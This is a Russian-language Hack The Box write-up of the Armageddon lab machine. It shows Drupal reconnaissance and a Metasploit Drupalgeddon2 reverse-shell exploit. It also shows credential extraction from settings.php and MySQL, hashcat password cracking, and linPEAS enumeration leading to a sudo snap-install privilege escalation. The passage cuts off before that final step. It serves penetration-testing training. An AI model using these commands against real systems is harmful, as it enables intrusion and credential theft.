Категория > Новости > HTB Armageddon. Повышаем привилегии в Linux через троянский пакет Snap - «Новости»
HTB Armageddon. Повышаем привилегии в Linux через троянский пакет Snap - «Новости»29-07-2021, 00:00. Автор: Kennedy |
Hack The Box.warningПодключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками. РазведкаАдрес машины — 10.10.10.233, не забываем добавить его в И сразу же сканируем порты. Привожу свой традиционный скрипт, основанный на Nmap: ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1 Результат работы скриптаПо результатам сканирования имеем два открытых порта: 22 (служба SSH) и 80 (веб‑сервер Apache). Нашли веб‑сервер — сразу же идем смотреть, что за сайт на нем развернут. Стартовая страница сайта Нас встречает Drupal — одна из популярнейших систем управления контентом (CMS). В ней наверняка найдутся известные уязвимости. Точка входа: DrupalДля Drupal также есть специальное средство сканирования, которое поможет найти уязвимости, — droopescan. Установим программу и выполним сканирование в 32 потока.
git clone https://github.com/droope/droopescan.git
cd droopescan
pip install -rrequirements.txt
python3 droopescan scan drupal -uhttp://armageddon.htb -t 32
Результат работы скриптаDroopescan нашел установленные плагины, темы и вероятную версию CMS. Первым делом стоит проверить, есть ли для обнаруженной версии готовые эксплоиты. Надежнее всего искать при помощи Google, а также на специализированных сайтах — HackerOne, Exploit-DB и GitHub. Поиск эксплоитов в Google Но если ты пользуешься Kali, то Exploit-DB у тебя уже есть и в данном случае достаточно запустить утилиту searchsploit, чтобы найти сразу несколько эксплоитов.
searchsploit Drupal
Эксплоиты, найденные searchsploitВидим, что хост содержит известную уязвимость Drupalgeddon 2, что даст нам удаленное выполнение кода (RCE). Пометка Metasploit означает, что эксплоит уже реализован для Metasploit Framework, и, так как это удобнее, будем использовать его. infoПодробный анализ принципов работы уязвимости читай в статье «Друпалгеддон-2. Подробно разбираем новую уязвимость в Drupal». Точка опорыКогда необходимый модуль найден, стоит глянуть, какие ему нужно задавать параметры (команда Поиск эксплоита Drupalgeddon2 в Metasploit FrameworkОпции модуля drupal_drupalgeddon2 Таким образом, следует указать целевой хост для атаки, а также адрес локального хоста и порт для обратного подключения.
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS armageddon.htb
set LHOST 10.10.14.86
set LPORT 80
run
Выполнение эксплоита Drupalgeddon2И мы получаем оболочку, где можем выполнять команды на удаленном хосте. Правда, пока только в контексте учетной записи пользователя‑службы. ПродвижениеТак как на хосте развернут веб‑сервер, а на нем работает даже целая CMS, то первое наше действие — попробовать получить какие‑нибудь учетные данные пользователей. Высока вероятность, что эти учетки подойдут и для локальных пользователей в системе. В случае с Drupal есть место, где учетные данные есть всегда, — файл с настройками для подключения к базе данных Содержимое директории defaultСодержимое файла settings.php Эти учетные данные позволяют подключиться к базе данных и получить другие критические данные пользователей. Сперва командой
mysql -udrupaluser -hlocalhost -p
В случае с Drupal нас интересуют данные из таблицы
use drupal;
select name,pass from users;
show;
Данные из таблицы users базы drupalНаходим хеш пароля пользователя Содержимое файла /etc/passwd Давай переберем этот пароль с помощью hashcat. Сначала узнаем, какой режим использовать, а потом передадим его номер через параметр hashcat -m7900 -a0 hash.txt ../tools/rockyou.txt Определение типа хешаРезультат перебора хешаМы успешно перебираем полученный хеш и узнаем пароль пользователя. И после подключения по SSH забираем первый флаг. Флаг пользователя Локальное повышение привилегийТеперь, когда мы получили доступ к хосту, нам необходимо собрать информацию. Источников информации очень много, и, чтобы не перебирать их вручную, я обычно использую скрипты PEASS. Они автоматически проходят систему в поисках зацепок для повышения привилегий. Загрузим на локальный хост скрипт для Linux.
wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh
Теперь нужно загрузить его на удаленный хост. Для этого можно использовать стандартные средства SSH. После загрузки необходимо дать право на выполнение и выполнить скрипт.
scp ../tools/linpeas.sh brucetherealadmin@armageddon.htb:/tmp/
chmod+x /tmp/linpeas.sh
/tmp/linpeas.sh
Результат работы скриптаВидим, что мы можем зацепиться за настройки sudoers (
/usr/bin/snap install *
Snap — это система управления и распределения пакетов, созданная в Canonical (разработчик Ubuntu). Сами пакеты Snap представляют собой заранее скомпилированные вместе со всеми зависимостями и библиотеками приложения, которые затем исполняются в изолированной среде. Они легче и быстрее устанавливаются, могут получать последние обновления, а также более безопасны с точки зрения доступа к операционной системе и важным файлам. Но все же приложения могут получать доступ к хосту при работе в режиме devmode. Snap использует Linux-сокет Перейти обратно к новости |